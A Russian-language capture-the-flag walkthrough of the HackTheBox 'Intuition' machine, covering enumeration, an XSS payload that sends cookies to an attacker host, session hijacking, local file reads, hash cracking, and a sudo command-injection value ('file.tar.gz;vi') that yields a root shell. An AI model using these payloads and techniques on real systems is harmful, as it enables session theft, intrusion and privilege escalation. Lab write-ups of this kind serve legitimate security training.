Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/335.

Также на https://boosty.to/kiberdruzhinnik/posts/de9ff766-a7ea-4199-8cc2-b23858d8a140 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Сканируем порты, находим ожидаемые для линукс машины:

Open 10.129.168.255:80
Open 10.129.168.255:22

Веб

Занесем домен comrezzor.htb к себе в /etc/hosts и обнаружим вот такое:

alt text

Пробежимся с помощью gobuster по vhost и обнаружим такие домены:

Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]

Их тоже занесем к себе в hosts.

Зарегистрируем себе аккаунт:

alt text

И в форму отчета отправим XSS-нагрузку:

alt text

<img src=x onerror=fetch('http://10.10.14.110/'+document.cookie);>

С пойманной сессией user_data логинимся на dashboard.comprezzor.htb:

alt text

Отправляем еще раз репорт с той же нагрузкой, меняем ему приоритет на 1 и ловим вторую сессионную куку user_data, после чего используем ее и попадаем в админку:

alt text

Перейдем в создание PDF-отчета и скачаем файл с паролем от FTP:

 file:///app/code/blueprints/dashboard/dashboard.py

alt text

С помощью этих кредов начинаем скачивать файлы с FTP-сервера:

 ftp://USER:[email protected]

alt text

Забираем приватный ключ, в комментариях к нему (можно проверить с помощью ssh-keygen) написано, что аккаунт принадлежит dev_acc.

Логинимся с его помощью на SSH.

ssh -i id_ras [email protected]

Флаг пользователя

alt text

Повышение привилегий

Исследуем файл /var/www/app/blueprints/auth/users.db и найдем хеш пользователя adam, который успешно сбрутим:

hashcat -m 30120 -a 0 hash.txt rockyou.txt

С помощью полученного пароля зайдем на FTP под пользователем adam и скачаем все файлы.

alt text

В файлах - MD5-хеш и часть пароля для Ansible-обертки.

alt text

alt text

Брутим пароль вот так:

hashcat -a 3 -m 0 hash.txt 'UHI75GHI?a?a?a?a'

Но для полного счастья нам нужен пользователь из группы sys-adm, который имеет доступ к /opt/runner2/.

В логах /var/log/suricata обнаруживаем логин и пароль пользователя lopez и логинимся по SSH с их помощью.

lopez находится в группе sys-adm, а также может исполнять файл /opt/runner2/runner2 в качестве суперпользователя:

$ sudo -l
[sudo] password for lopez: 
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

Скачиваем этот файл себе, реверсим его и находим Command Injection:

alt text

Далее достаточно создать файл test.json:

{
    "run": {
        "action": "install",
        "role_file": "file.tar.gz;vi"
    },
    "auth_code": "UHI75GHI****"
}

И еще нам нужно создать любой валидный tar.gz файл, например, "file.tar.gz;vi".

Далее запускаем все это добро в качестве sudo:

sudo /opt/runner2/runner2 test.json
:!/bin/bash

alt text

Флаг суперпользователя

alt text